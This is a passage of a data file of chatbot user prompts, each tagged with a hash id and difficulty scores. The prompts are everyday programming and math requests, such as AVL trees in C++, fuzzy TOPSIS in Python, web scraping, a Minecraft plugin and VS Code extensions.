function handleRequest(request) { // Get the subscription link const link = getSubscriptionLink(); // Encode the link to base64 const encodedResponse = btoa(encodeURIComponent(link)); return new Response(encodedResponse, { headers: { 'Content-Type': 'application/octet-stream', // Prompt download 'Content-Disposition': 'attachment; filename=“subscription_link.txt”' } }); } addEventListener('fetch', event => { event.respondWith(handleRequest(event.request)); });
7ae47db08a51ebf7877c1219b1c1b1fc
{ "intermediate": 0.5896259546279907, "beginner": 0.22440780699253082, "expert": 0.18596628308296204 }
33,375
provider parameter. To make this function actually check for a provider and return the appropriate link, i do not want this, is this correct? addEventListener('fetch', event => { event.respondWith(handleRequest(event.request)); }); async function handleRequest(request) { const url = new URL(request.url); const provider = url.searchParams.get("subs"); if (!provider) { return new Response('Provider query parameter is missing', { status: 400, headers: { 'Content-Type': 'text/plain' }, }); } // Assuming provider check happens here (not shown in the code) const link = getSubscriptionLink(); if (!link) { return new Response('Invalid provider or no subscriptions found.', { status: 400, headers: { 'Content-Type': 'text/plain' }, }); } const encodedResponse = btoa(encodeURIComponent(link)); return new Response(encodedResponse, { headers: { 'Content-Type': 'application/octet-stream', 'Content-Disposition': 'attachment; filename=“subscription_link.txt”' } }); } // Define a function that simulates retrieving the subscription link based on the provider function getSubscriptionLink() { // Simulate a check for the provider // If provider is valid, return the link // If not, return null or accordingly return 'vless://<PRESIDIO_ANONYMIZED_EMAIL_ADDRESS>:80?encryption=none&security=none&type=ws&path=%2F%2CTurk#Tel%3A%40vpnv2rayspeed'; }
402356a14b0c033104eb291cd97ab409
{ "intermediate": 0.5182946920394897, "beginner": 0.2899645268917084, "expert": 0.19174087047576904 }
33,376
как написать функцию getHull в скрипте чтобы в этой сроке не было ошибки this.shadow = this.createShadow(this.tank.getHull().mesh,SHADOW_DIRECTION,SHADOW_RESOLUTION,SHADOW_BLUR,SHADOW_ALPHA) на as 3.0
988a70ad6f84adb35bffef32ef3be717
{ "intermediate": 0.37482547760009766, "beginner": 0.22416388988494873, "expert": 0.401010662317276 }
33,377
#include struct Node { int data; int height; Node* left; Node* right; }; struct AVL { Node* top = nullptr; int height(Node* root) { if (root == nullptr) return 0; return root->height; } Node* newNode(int value) { Node* node = new Node(); node->data = value; node->left = nullptr; node->right = nullptr; node->height = 1; return(node); } Node* RightRotation(Node* y) { Node* x = y->left; Node* T2 = x->right; x->right = y; y->left = T2; y->height = std::max(height(y->left), height(y->right)) + 1; x->height = std::max(height(x->left), height(x->right)) + 1; return x; } Node* LeftRotation(Node* x) { Node* y = x->right; Node* T2 = y->left; y->left = x; x->right = T2; x->height = std::max(height(x->left), height(x->right)) + 1; y->height = std::max(height(y->left), height(y->right)) + 1; return y; } int Balance(Node* N) { if (N == nullptr) return 0; return height(N->left) - height(N->right); } Node* MinValueNode(Node* node) { Node* current = node; while (current && current->left != NULL) { current = current->left; } return current; } Node* Delete(Node* root, int value) { if (root == nullptr) return root; if (value < root->data) root->left = Delete(root->left, value); else if(value > root->data) root->right = Delete(root->right, value); else { if((root->left == nullptr) || (root->right == nullptr)) { Node* temp = root->left ? root->left : root->right; if(temp == nullptr) { temp = root; root = nullptr; } else root = temp; delete temp; } else { Node temp = MinValueNode(root->right); root->data = temp->data; root->right = Delete(root->right, temp->data); } } if (root == nullptr) return root; root->height = 1 + std::max(height(root->left), height(root->right)); int balance = Balance(root); if (balance > 1 && Balance(root->left) >= 0) return RightRotation(root); if (balance > 1 && Balance(root->left) < 0) { root->left = LeftRotation(root->left); return RightRotation(root); } if (balance < -1 && Balance(root->right) <= 0) return LeftRotation(root); if (balance < -1 && Balance(root->right) > 0) { root->right = RightRotation(root->right); return LeftRotation(root); } return root; } Node Insert(Node* node, int value) { if (node == nullptr) return(newNode(value)); if (value < node->data) node->left = Insert(node->left, value); else if (value > node->data) node->right = Insert(node->right, value); else return node; node->height = 1 + std::max(height(node->left), height(node->right)); int balance = Balance(node); if (balance > 1 && value < node->left->data) { return RightRotation(node); } else if (balance < -1 && value > node->right->data) { return LeftRotation(node); } else if (balance > 1 && value > node->left->data) { node->left = LeftRotation(node->left); return RightRotation(node); } else if (balance < -1 && value < node->right->data) { node->right = RightRotation(node->right); return LeftRotation(node); } return node; } void Exists(int value) { Node* current = top; while (current != nullptr) { if (value < current->data) { current = current->left; } else if (value > current->data) { current = current->right; } else { std::cout << “Y” << ‘\n’; return; } } std::cout << “N” << ‘\n’; } }; int main() { std::ios_base::sync_with_stdio(false); std::cin.tie(0); std::cout.tie(0); char cmd; AVL tree; int n; std::cin >> n; for (int i = 0; i < n; ++i) { std::cin >> cmd; if (cmd == ‘A’) { int x; std::cin >> x; tree.top = tree.Insert(tree.top, x); std::cout << -tree.Balance(tree.top) << ‘\n’; } else if (cmd == ‘D’) { int x; std::cin >> x; tree.top = tree.Delete(tree.top, x); std::cout << -tree.Balance(tree.top) << ‘\n’; } else if (cmd == ‘C’) { int x; std::cin >> x; tree.Exists(x); } } } сделай проверку сбалансированности по аналогии с этим кодом #include <iostream> #include <vector> struct Node { int data; int left; int right; int height; }; int CalcHeight(int index, Node arr[]) { if (index == -1) return 0; if (arr[index].height > 0) return arr[index].height; arr[index].height = 1 + std::max(CalcHeight(arr[index].left, arr), CalcHeight(arr[index].right, arr)); return arr[index].height; } int CalcBalance(int index, Node arr[]) { if (index == -1) return 0; return CalcHeight(arr[index].right, arr) - CalcHeight(arr[index].left, arr); } int main() { int n; int data; int left; int right; std::cin >> n; Node arr[n]; for (int i = 0; i < n; ++i) { std::cin >> data >> left >> right; arr[i].data = data; arr[i].left = left - 1; arr[i].right = right - 1; arr[i].height = 0; } for (int i = 0; i < n; ++i) { arr[i].height = CalcHeight(i, arr); } for (int i = 0; i < n; ++i) { std::cout << CalcBalance(i, arr) << ‘\n’; } }
13c3b2a775de612b8c78a015c58050a6
{ "intermediate": 0.3736693859100342, "beginner": 0.3106582462787628, "expert": 0.3156723380088806 }
33,378
Can a computer evaluate an expression to something between true and false? Can you write an expression to deal with a "maybe" answer?
d49b485dd1f90efa6d863649b6b2207e
{ "intermediate": 0.22569116950035095, "beginner": 0.17044956982135773, "expert": 0.6038592457771301 }
33,379
You are the master of webscraping with Python and beautifulsoup. Please confirm.
cd67fe715147610917daa2ae11f5ef08
{ "intermediate": 0.4048822522163391, "beginner": 0.3765491545200348, "expert": 0.21856854856014252 }
33,380
do so you can type <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Enhanced Calculator</title> <style> body { font-family: 'Arial', sans-serif; background-color: #f5f5f5; display: flex; align-items: center; justify-content: center; height: 100vh; margin: 0; } .calculator { background-color: #fff; border: 1px solid #ccc; border-radius: 5px; box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); padding: 20px; text-align: center; } .result { width: 100%; height: 40px; font-size: 24px; margin-bottom: 10px; text-align: right; padding: 5px; border: 1px solid #ccc; border-radius: 3px; } .btn-container { display: grid; grid-template-columns: repeat(4, 1fr); grid-gap: 10px; margin-bottom: 10px; } .btn { width: 100%; height: 50px; font-size: 18px; cursor: pointer; background-color: #4caf50; border: 1px solid #4caf50; border-radius: 3px; color: #fff; transition: background-color 0.3s ease; } .btn.operator { background-color: #ff9800; border: 1px solid #ff9800; } .btn.special { background-color: #2196f3; border: 1px solid #2196f3; } .btn.double { grid-column: span 2; } .btn.double-zero { grid-column: span 2; } .btn:hover { background-color: #45a049; } </style> </head> <body> <div class="calculator"> <input class="result" type="text" name="result" readonly> <div class="btn-container"> <input class="btn" type="button" value="7" onclick="addToResult('7')"> <input class="btn" type="button" value="8" onclick="addToResult('8')"> <input class="btn" type="button" value="9" onclick="addToResult('9')"> <input class="btn operator" type="button" value="/" onclick="addToResult('/')"> <input class="btn" type="button" value="4" onclick="addToResult('4')"> <input class="btn" type="button" value="5" onclick="addToResult('5')"> <input class="btn" type="button" value="6" onclick="addToResult('6')"> <input class="btn operator" type="button" value="*" onclick="addToResult('*')"> <input class="btn" type="button" value="1" onclick="addToResult('1')"> <input class="btn" type="button" value="2" onclick="addToResult('2')"> <input class="btn" type="button" value="3" onclick="addToResult('3')"> <input class="btn operator" type="button" value="-" onclick="addToResult('-')"> <input class="btn double" type="button" value="0" onclick="addToResult('0')"> <input class="btn" type="button" value="." onclick="addToResult('.')"> <input class="btn operator" type="button" value="+" onclick="addToResult('+')"> <input class="btn operator" type="button" value="=" onclick="calculate()"> <input class="btn double" type="button" value="C" onclick="clearResult()"> </div> </div> <script> function addToResult(value) { document.querySelector('.result').value += value; } function calculate() { let result = eval(document.querySelector('.result').value); document.querySelector('.result').value = result; } function clearResult() { document.querySelector('.result').value = ''; } </script> </body> </html>
1e64dd58c0a9e5de276de16bb770040d
{ "intermediate": 0.3391309380531311, "beginner": 0.40236517786979675, "expert": 0.25850388407707214 }
33,381
from sklearn.metrics import confusion_matrix model.eval() y_true = [] y_pred = [] with torch.no_grad(): for images, labels in valLoader: images = images.to(device) labels = labels.to(device) outputs = model(images) _, predicted = torch.max(outputs.data, 1) y_true.extend(labels.cpu().numpy()) y_pred.extend(predicted.cpu().numpy()) confusion_mat = confusion_matrix(y_true, y_pred) class_counts = np.array([np.sum(np.array(y_true) == cls) for cls in range(len(class_names))]) confusion_mat_percent = confusion_mat / class_counts[:, np.newaxis] plt.figure(figsize=(10, 8)) sns.heatmap(confusion_mat_percent, annot=True, fmt='.2f', cmap='Blues') plt.xlabel('Predicted Labels') plt.ylabel('True Labels') plt.title('Confusion Matrix') plt.xticks(np.arange(len(class_names)) + 0.5, class_names, rotation='vertical') plt.yticks(np.arange(len(class_names)) + 0.5, class_names, rotation='horizontal') plt.show() smooth the graph please
e3509d60ec6b1a81dbb97a909c558b5b
{ "intermediate": 0.4387284815311432, "beginner": 0.2331240326166153, "expert": 0.3281475007534027 }
33,382
Write me an extension for vs vode, which will consist of a file extension.ts and package.json, in extention.ts write the following functionality: in the work area under the after tab (open programs) there is a line in which information about the start date of menstruation is written, this information is taken from the personal account of the "flo" application.
3ae3fb74fb0d5973ab9fbc54617d5c3f
{ "intermediate": 0.5729249715805054, "beginner": 0.17426066100597382, "expert": 0.2528144121170044 }
33,383
I know you are familiar with Fuzzy Topsis method. write the Python code for this method for the following inputs: about the decision matrix. the first criteria is cost meaning it is negative and the other two are profit and positive. # Decision matrices d1 = [[[233.4, 233.4, 233.4], [1, 3, 5], [5, 7, 9]], [[256.2, 256.2, 256.2], [7, 9, 10], [3, 5, 7]], [[248.2, 248.2, 248.2], [3, 5, 7], [7, 9, 10]]] d2 = [[[233.4, 233.4, 233.4], [0, 1, 3], [9, 10, 10]], [[256.2, 256.2,256.2], [3, 5, 7], [9, 10, 10]], [[248.2, 248.2,248.2], [7, 9, 10], [7, 9, 10]]] # Weight matrices w1 = ([[[0.7, 0.1, 0], [0.9, 0.3, 0.1], [1, 0.5, 0.3]]]) w2 = ([[[0.7, 0.5, 0.7], [0.9, 0.7, 0.9], [1, 0.9, 1]]]) be cautious that there are two decision makers. therefore first we need to make an average for each type of matrix, therefore ending up with a single decision matrix and a single weight matrix. because there are two decision makers the formula will be like this: an example for the Alternative1, Criteria 2: 1/2[(1,3,5)+(0,1,3)] Now if you have fully understood what I am saying, write the full code in python with the Relative Closeness as an answer, however if you have any misunderstandings, ask first
ed3b0a09c031556c9db0eeb0f3db26cf
{ "intermediate": 0.3638606071472168, "beginner": 0.222907155752182, "expert": 0.4132322669029236 }
33,384
git clone https://github.com/AUTOMATIC1111/stable-diffusion-webui
c47f3b58f6e7d26eb74902585911ce92
{ "intermediate": 0.32802635431289673, "beginner": 0.1849733591079712, "expert": 0.4870002567768097 }
33,385
Write a Matlab code on following problem statement A multi-objective optimization method based on multi-objective genetic algorithm (NSGA-II) was employed to optimize the shape of a plate-fin heat exchanger for a hydraulic retarder. The Colburn factor j, representing heat transfer efficiency, and the friction factor f, representing flow resistance, were considered as the two conflicting objectives and used ad fitness functions. The optimization results demonstrated a significant improvement in both objectives, increase in the Colburn factor j and decrease in the friction factor f. This indicates that the optimized heat exchanger achieved enhanced convective heat transfer while simultaneously reducing flow resistance. The design parameters considered were fin height h, fin pitch l, fin spacing s, and fin thickness t. the constraint handling of design parameter variables was defined as: h ranges between 5 to 10 L ranges between 3 to 6 S ranges between 1 to 2 And t ranges between 0.15 to 0.3 due to non-linear relationship between design parameters and performances , It is necessary to construct approximate models to establish the approximate relationship between design variables and objective function n NSGA-II, the outcome of a Pareto optimization is a set of Pareto optimal solutions (also called Pareto-frontier). The SBX (Simulated Binary crossover), as the operation mechanism of crossover and sudden mutation, was applied . Parameters setting of NSGA optimization problem is Population size-100 Evolution generations- 30 Crossover probability- 0.9 Variation Cycle- 10 Migration Cycle-20 Iteration number - 3000
a64aabbccf70a2f5e2cd66a3cfda309d
{ "intermediate": 0.093001589179039, "beginner": 0.11748424917459488, "expert": 0.7895141243934631 }
33,386
My SearchView is highlighted as error what do I need tyo impoert
0c8a5a6ed122b3cc3706a957fb8e7b7c
{ "intermediate": 0.36760827898979187, "beginner": 0.2875133752822876, "expert": 0.34487828612327576 }
33,387
number pattern algorithms
0749f842d45b8e1bb38668f95a66c8b4
{ "intermediate": 0.13624489307403564, "beginner": 0.1524394005537033, "expert": 0.7113156914710999 }
33,388
I know you are familiar with Fuzzy Topsis method. write the Python code for this method for the following inputs: about the decision matrix. the first criteria is cost meaning it is negative and the other two are profit and positive. # Decision matrices d1 = [[[233.4, 233.4, 233.4], [1, 3, 5], [5, 7, 9]], [[256.2, 256.2, 256.2], [7, 9, 10], [3, 5, 7]], [[248.2, 248.2, 248.2], [3, 5, 7], [7, 9, 10]]] d2 = [[[233.4, 233.4, 233.4], [0, 1, 3], [9, 10, 10]], [[256.2, 256.2,256.2], [3, 5, 7], [9, 10, 10]], [[248.2, 248.2,248.2], [7, 9, 10], [7, 9, 10]]] # Weight matrices w1 = ([[[0.7, 0.1, 0], [0.9, 0.3, 0.1], [1, 0.5, 0.3]]]) w2 = ([[[0.7, 0.5, 0.7], [0.9, 0.7, 0.9], [1, 0.9, 1]]]) be cautious that there are two decision makers. therefore first we need to make an average for each type of matrix, therefore ending up with a single decision matrix and a single weight matrix. because there are two decision makers the formula will be like this: an example for the Alternative1, Criteria 2: 1/2[(1,3,5)+(0,1,3)] Now if you have fully understood what I am saying, write the full code in python with a single 1*3 Relative Closeness matrix as an answer, however if you have any misunderstandings, ask first
688a45e3b8ba2a3bead13617772b1fd4
{ "intermediate": 0.4016371965408325, "beginner": 0.19851264357566833, "expert": 0.39985013008117676 }
33,389
from bs4 import BeautifulSoup import requestsurl = "https://startup.jobs/?remote=true&c=Full-Time&q=machine+learning" custom_headers = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36'} # Make a GET request to fetch the raw HTML content response = requests.get(url, custom_headers) if response.status_code == 200: # Parse the HTML content soup = BeautifulSoup(response.text, 'html.parser') # Now you can work with the 'soup' object for further processing # For example, print the title of the page print("Title:", soup.title.text) else: print("Failed to retrieve the page. Status code:", response.status_code)# Updated code to find the input element with the name "query" input_element = soup.find('input', {'name': 'query', 'value': 'machine learning'}) # Checking if the element is found before printing if input_element: print(input_element.get('value')) else: print("Input element not found.")# Find the checkbox input with the name "remote" remote_checkbox = soup.find('input', {'type': 'checkbox', 'name': 'remote'}) # Checking if the element is found if remote_checkbox: # Find the parent label element label_element = remote_checkbox.find_parent('label') # Extract and print the text content of the label label_text = label_element.get_text(strip=True) print(label_text) else: print("Remote checkbox element not found.")# Find the checkbox input with the name "remote" fulltime_checkbox = soup.find('input', {'type': 'checkbox', 'name': 'commitments[]', 'value': 'Full-Time'}) # Checking if the element is found if fulltime_checkbox: # Find the parent label element label_element = fulltime_checkbox.find_parent('label') # Extract and print the text content of the label label_text = label_element.get_text(strip=True) print(label_text) else: print("Full-time checkbox element not found.")# Find job postings jobs_container = soup.find('div', class_='flex flex-col divide-y divide-gray-100') job_elements = jobs_container.find_all('div', class_='grid grid-cols-6 md:grid-cols-12 relative gap-2 p-2 py-2 items-center rounded hover:bg-gray-50 w-full', limit=10) print(job_elements, job_elements) # List to hold job data job_list = [] # Iterate through the found job postings for job_elem in job_elements: # Extract job title job_title_tag = job_elem.find('a', class_='pt-1') job_title = job_title_tag.get_text(strip=True) if job_title_tag else "No Title Found" # Extract company name company_name_tag = job_elem.find('a', class_='z-10') company_name = company_name_tag.get_text(strip=True) if company_name_tag else "No Company Found" # Append the job data to our list job_list.append({ 'title': job_title, 'company': company_name }) # Output the list of jobs for job in job_list: print(f"Job Title: {job['title']}") print(f"Company Name: {job['company']}") print("—") else: print("Failed to retrieve the page. Status code:", response.status_code)
043de097e3872a1ec8cdd8a5588e535f
{ "intermediate": 0.36101600527763367, "beginner": 0.4210670590400696, "expert": 0.21791699528694153 }
33,390
Write me extension.ts for vs code, which will consist of extension.ts and package.json files. In extension.ts write the following functionality: I want the work area under the field of open tabs to have a field with a line containing information about the start date of menstruation, which is taken from the personal account of the flo application. Thus, you also need to connect your personal account to this system.
e3da2ddc8d4e33886ae52f2f2cf829e6
{ "intermediate": 0.49427756667137146, "beginner": 0.23815737664699554, "expert": 0.267564982175827 }
33,391
Напиши мне плагин майнкрафт спигот 1.12.2 на валюту, сделай плагин с 2 валютами, сделай так чтобы первая валюта сохранялась в файл rub.yml, команда на ее выдачу игроку /adminrub give (ник) (Сумма), команда на передачу от игрока игроку /rub pay (ник) (Сумма) и добавь плейсхолдер %rub% а вторую валюту сохраняй в electron.yml и сделай команды /admine give (ник) (сумма) - выдать валюту игроку, /e pay (ник) (сумма) передать валюту от игрока к игроку и добавь плейсхолдер %electron% и скинь итоговый код всех классов плагина чтобы я мог его добавить в свой плагин. Плагин напиши на русском языке
592dde17e44503b677286d6f6822ea59
{ "intermediate": 0.3678121566772461, "beginner": 0.3148800730705261, "expert": 0.31730780005455017 }
33,392
C++ КОД, помогите, пожалуйста int main() { int a; cout<<"Введите число"; cin>>a; if (isdigit(a)) { cout<<"Это кажется цифра "<< a + 24; } if (isalpha(a)) { cout<<"Это алфавитная буква"<< a + 21; else { cout<<"Не распознано"; } return 0; Ошибка error: expected ‘}’ before ‘else’
d027bca135d6fa10ccafe7f2c7f0540b
{ "intermediate": 0.25498077273368835, "beginner": 0.6096339225769043, "expert": 0.13538534939289093 }
33,393
Hi
b91fac252d06cae92ad0418330b74443
{ "intermediate": 0.33010533452033997, "beginner": 0.26984941959381104, "expert": 0.400045245885849 }
33,394
I know you are familiar with Fuzzy Topsis method. write the Python code for this method for the following inputs: about the decision matrix. the first criteria is cost meaning it is negative and the other two are profit and positive. # Decision matrices d1 = [[[233.4, 233.4, 233.4], [1, 3, 5], [5, 7, 9]], [[256.2, 256.2, 256.2], [7, 9, 10], [3, 5, 7]], [[248.2, 248.2, 248.2], [3, 5, 7], [7, 9, 10]]] d2 = [[[233.4, 233.4, 233.4], [0, 1, 3], [9, 10, 10]], [[256.2, 256.2,256.2], [3, 5, 7], [9, 10, 10]], [[248.2, 248.2,248.2], [7, 9, 10], [7, 9, 10]]] # Weight matrices w1 = ([[[0.7, 0.1, 0], [0.9, 0.3, 0.1], [1, 0.5, 0.3]]]) w2 = ([[[0.7, 0.5, 0.7], [0.9, 0.7, 0.9], [1, 0.9, 1]]]) be cautious that there are two decision makers. therefore first we need to make an average for each type of matrix, therefore ending up with a single decision matrix and a single weight matrix. because there are two decision makers the formula will be like this: an example for the Alternative1, Criteria 2: 1/2[(1,3,5)+(0,1,3)] Now if you have fully understood what I am saying, write the full code in python and use the wighted average method to defuzzy the problem and end up with a single 1*3 Relative Closeness matrix as an answer. If you have any misunderstandings, ask first
5b1b3245095af1a95c5ff87e76bfda69
{ "intermediate": 0.4382795989513397, "beginner": 0.15846779942512512, "expert": 0.40325260162353516 }
33,395
package foleon.stalker; public class AdminRubCommand implements CommandExecutor { @Override public boolean onCommand(CommandSender sender, Command command, String label, String[] args) { if (!(sender instanceof Player)) { sender.sendMessage("Команда доступна только игрокам!"); return true; } if (!sender.hasPermission("rub.admin")) { sender.sendMessage("У вас нет прав на выполнение этой команды!"); return true; } if (args.length < 2) { sender.sendMessage("Неверное использование команды. Используйте /adminrub give (ник) (сумма)"); return true; } String playerName = args[0]; Player targetPlayer = Bukkit.getPlayer(playerName); if (targetPlayer == null) { sender.sendMessage("Игрок " + playerName + " не найден!"); return true; } int amount; try { amount = Integer.parseInt(args[1]); } catch (NumberFormatException e) { sender.sendMessage("Неверное значение суммы!"); return true; } RubPlugin.getInstance().getRubConfig().set("players." + targetPlayer.getUniqueId().toString(), amount); RubPlugin.getInstance().saveConfig(); sender.sendMessage("Вы выдали " + amount + " руб. игроку " + targetPlayer.getName()); return true; } } скинь все импорты
399ca546e84f650ea699f3cdb6a4a5c1
{ "intermediate": 0.37938007712364197, "beginner": 0.36317119002342224, "expert": 0.2574487328529358 }
33,396
Can you generate code on Kotlin Jetpack Compose (Android Oreo (8.1)
86c4e3f7fe418d1276ea0fbd2b040674
{ "intermediate": 0.6020208597183228, "beginner": 0.14704224467277527, "expert": 0.25093695521354675 }
33,397
hi
f536721f59b4631d4e41767e0c7a9e9b
{ "intermediate": 0.3246487081050873, "beginner": 0.27135494351387024, "expert": 0.40399640798568726 }
33,398
Could not find artifact me.clip:placeholderapi:pom:2.11.5 in spigotmc-repo (https://hub.spigotmc.org/nexus/content/repositories/snapshots/)
62532990cff64f95774e5cae1e8f83e2
{ "intermediate": 0.37641242146492004, "beginner": 0.35375574231147766, "expert": 0.2698318362236023 }
33,399
can you make a sprite in python
ad066eb8e2a90e8c0a12ff678c591201
{ "intermediate": 0.38716834783554077, "beginner": 0.2824399769306183, "expert": 0.33039167523384094 }
33,400
Give me Kotlin layout code for a search bar with queryHint="@string/search", vertical margin, rounded corners and its last 40 dp on the end dedicated to a clear button that is not visible unless the a text is input into the bar
9038d26b677ea65bb55c4ef216b69b30
{ "intermediate": 0.632932186126709, "beginner": 0.084910549223423, "expert": 0.2821572422981262 }
33,401
public function sendPhotoAdmin($chat_id, $file_id, $caption, $buttons = NULL) { $post_data = [ 'chat_id' => $chat_id, 'photo' => $file_id, 'caption' => $caption, ]; // Если переданы кнопки, добавляем их к сообщению if (!is_null($buttons) && is_array($buttons)) { $post_data['reply_markup'] = $this->buildInlineKeyBoard($buttons); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://api.telegram.org/bot' . TELEGRAM_TOKEN . '/sendPhoto'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); curl_exec($ch); curl_close($ch); } в общем, мне нужно написать функцию для рассылки фото и текста к ней всем пользователям
cec9af15a9cdd89c1bc414d640c56f07
{ "intermediate": 0.40853047370910645, "beginner": 0.3364708125591278, "expert": 0.25499871373176575 }
33,402
public function sendPhotoAdmin($chat_id, $file_id, $caption, $buttons = NULL) { $post_data = [ 'chat_id' => $chat_id, 'photo' => $file_id, 'caption' => $caption, ]; // Если переданы кнопки, добавляем их к сообщению if (!is_null($buttons) && is_array($buttons)) { $post_data['reply_markup'] = $this->buildInlineKeyBoard($buttons); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://api.telegram.org/bot' . TELEGRAM_TOKEN . '/sendPhoto'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); curl_exec($ch); curl_close($ch); } мне нужно написать рассылку всем пользователям с фото и текстом к ней
4d999d33ba60757448013dca2e03145a
{ "intermediate": 0.4682786166667938, "beginner": 0.2757028043270111, "expert": 0.25601860880851746 }
33,403
write a complete and functional Scala program using Akka which performs an infinite series of ping-pong messages between 2 actors, with one new message every second.
7862f1626e4db5e699e83f713868e087
{ "intermediate": 0.39570698142051697, "beginner": 0.16238778829574585, "expert": 0.4419052004814148 }
33,404
Is this gpt4?
155ff5ba3e397bf4c0c001d3d6fb7d8e
{ "intermediate": 0.2863817811012268, "beginner": 0.26870250701904297, "expert": 0.4449157416820526 }
33,405
Write me extension.ts for vs code, which will consist of extension.ts and package.json files. In extension.ts write the following functionality: I want there to be a safari window.
65daa891107c0930fc7d955e28f09a3b
{ "intermediate": 0.44190117716789246, "beginner": 0.2904282808303833, "expert": 0.26767048239707947 }
33,406
Homework (to be returned in the next two weeks ): How to find the day of the week for any date between 1880 and 2064 ? Questions: Train on the preceding method to find the day for the following dates: 05/07/1962 (Thursday), 20/08/1956 (Monday), 15/11/1988 (Tuesday). Write a MATLAB function called nday = day_date(sdate) that takes an input string date sdate in the format dd/mm/yyyy and returns nday, the name of the day for the input sdate. Follow these steps: a. Create three matrices: year, month, and day (see tables above). To create the year and day matrices, use the (:) , and reshape() built-in functions. For the month matrix, create it manually. b. Use slicing techniques to get the different parts of sdate the input date (dd, mm, yyyy) separately. c. Since dd, mm, and yyyy are strings, convert them to numerical values using the str2num() built-in function. d. Find the row of yyyy in table(1) year (use the find() built-in function). e. Localize the month’s code in table(2) (month). f. Add the number found in step(d) to dd. g. Locate the result of the preceding step (e) and find its row in table(3) day. h. The result of step (f) is the searched day. Write the main MATLAB script called main.m containing the following statements: a. Prompt the user to enter a date in this format dd/mm/yyyy (use input('prompt message', 's')— this statement saves the user input as a string). b. Call the function day_date() to find the day of the input date. c. Display the results. matlab en francais
762cd3b7f53707d4b5617857ebf9c0ce
{ "intermediate": 0.46697673201560974, "beginner": 0.32576173543930054, "expert": 0.20726151764392853 }
33,407
#include <iostream> struct Node { long data; long height; Node* left; Node* right; }; struct AVL { Node* top = nullptr; long height(Node* root) { if (root == nullptr) return 0; return root->height; } Node* newNode(long value) { Node* root = new Node(); root->data = value; root->left = nullptr; root->right = nullptr; root->height = 1; return(root); } Node* RightRotation(Node* y) { Node* x = y->left; Node* T2 = x->right; x->right = y; y->left = T2; y->height = std::max(height(y->left), height(y->right)) + 1; x->height = std::max(height(x->left), height(x->right)) + 1; return x; } Node* LeftRotation(Node* x) { Node* y = x->right; Node* T2 = y->left; y->left = x; x->right = T2; x->height = std::max(height(x->left), height(x->right)) + 1; y->height = std::max(height(y->left), height(y->right)) + 1; return y; } long Balance(Node* N) { if (N == nullptr) return 0; return height(N->left) - height(N->right); } Node* Insert(Node* root, int key) { if (root == nullptr) { Node* node = new Node; node->data = key; node->height = 1; node->left = nullptr; node->right = nullptr; return node; } if (key < root->data) { root->left = Insert(root->left, key); } else if (key > root->data) { root->right = Insert(root->right, key); } else { return root; } root->height = std::max(height(root->left), height(root->right)) + 1; int balance = Balance(root); if (balance > 1 && key < root->left->data) { return RightRotation(root); } if (balance < -1 && key > root->right->data) { return LeftRotation(root); } if (balance > 1 && key > root->left->data) { root->left = LeftRotation(root->left); return RightRotation(root); } if (balance < -1 && key < root->right->data) { root->right = RightRotation(root->right); return LeftRotation(root); } return root; } Node* Delete(Node* root, int key) { if (root == nullptr) return root; if ( key < root->data ) { root->left = Delete(root->left, key); }else if( key > root->data ) { root->right = Delete(root->right, key); } else { if((root->left == nullptr) || (root->right == nullptr)) { Node *temp = root->left ? root->left : root->right; if (temp == nullptr) { temp = root; root = nullptr; } else { *root = *temp; } delete temp; } else { Node* temp = minValueNode(root->right); root->data = temp->data; root->right = Delete(root->right, temp->data); } } if (root == nullptr) return root; root->height = 1 + std::max(height(root->left), height(root->right)); int balance = Balance(root); if (balance > 1 && Balance(root->left) >= 0) return RightRotation(root); if (balance > 1 && Balance(root->left) < 0) { root->left = LeftRotation(root->left); return RightRotation(root); } if (balance < -1 && Balance(root->right) <= 0) return LeftRotation(root); if (balance < -1 && Balance(root->right) > 0) { root->right = RightRotation(root->right); return LeftRotation(root); } return root; } bool Exists(Node* root, long key) { if (root == nullptr) return false; if (root->data == key) return true; else if (root->data > key) return Exists(root->left, key); else return Exists(root->right, key); } Node* minValueNode(Node* node) { Node* current = node; while (current->left != nullptr) current = current->left; return current; } }; int main() { std::ios_base::sync_with_stdio(false); std::cin.tie(0); std::cout.tie(0); char cmd; AVL tree; long n; std::cin >> n; for (long i = 0; i < n; ++i) { std::cin >> cmd; if (cmd == 'A') { long x; std::cin >> x; tree.top = tree.Insert(tree.top, x); std::cout << (tree.top == nullptr? 0 : -tree.Balance(tree.top)); if (i < n - 1) { std::cout << '\n'; } } else if (cmd == 'D') { long x; std::cin >> x; tree.top = tree.Delete(tree.top, x); std::cout << (tree.top == nullptr? 0 : -tree.Balance(tree.top)); if (i < n - 1) { std::cout << '\n'; } } else if (cmd == 'C') { long x; std::cin >> x; tree.Exists(tree.top, x) ? std::cout << 'Y' : std::cout << 'N'; if (i < n - 1) { std::cout << '\n'; } } } } смотри мне нужна такая помощь этот код не проходит 4-й тест(неправильный ответ, тест я не знаю вот задача) В городе � N произошла серия преступлений, расследовать которую пригласили опытного детектива Шерлока Толмса. Он с радостью принялся за новое интересное дело, но не учел, что в этот раз улик оказалось слишком много, и все они имеют совершенно разный "вес" для проведения расследовния. Шерлок нашел в телефонной книжке номер самого талантливого программиста в городе, которым оказались Вы, и обратился за помощью. Обладая знаниями алгоритмов и структур данных и проанализировав ситуацию, Вы решили хранить все зацепки в виде АВЛ-дерева, чтобы при необходимости достаточно быстро находить любой объект, при этом учитывая вес каждого свидетельства. Во время расследования дела, Вам предстоит не только добавлять новые улики, но и удалять те, которые уже потеряли актуальность, а также проверять наличие определенных улик. К сожалению, не все знают как работает АВЛ-дерево, поэтому коллеги попросили Вас выводить баланс дерева после каждой операции вставки и удаления. Входные данные В первой строке находится число � n ( 1 ≤ � ≤ 2 ∗ 1 0 5 ) (1≤n≤2∗10 5 ) - число операций. Изначально улик нет. В каждой из последующих � n строк находится описание одной из трех операций: � A � x - поместить улику с весом � x в дерево. Если она уже было добавлена, операция игнорируется � D � x - удалить 